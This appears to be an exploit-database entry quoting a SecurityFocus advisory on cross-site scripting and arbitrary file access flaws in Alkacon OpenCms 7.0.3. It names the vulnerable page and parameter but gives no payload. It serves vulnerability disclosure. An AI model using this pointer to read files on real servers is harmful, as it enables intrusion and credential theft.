Alkacon OpenCMS 7.0.3 - 'logfileViewSettings.jsp?filePath.0' Arbitrary File Access

source: https://www.securityfocus.com/bid/28152/info
 
Alkacon OpenCms is prone to multiple input-validation vulnerabilities, including one cross-site scripting issue and a file-disclosure issue, because the application fails to properly sanitize user-supplied input.
 
Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to obtain information that could aid in further attacks.
 
OpenCms 7.0.3 is vulnerable; other versions may also be affected.
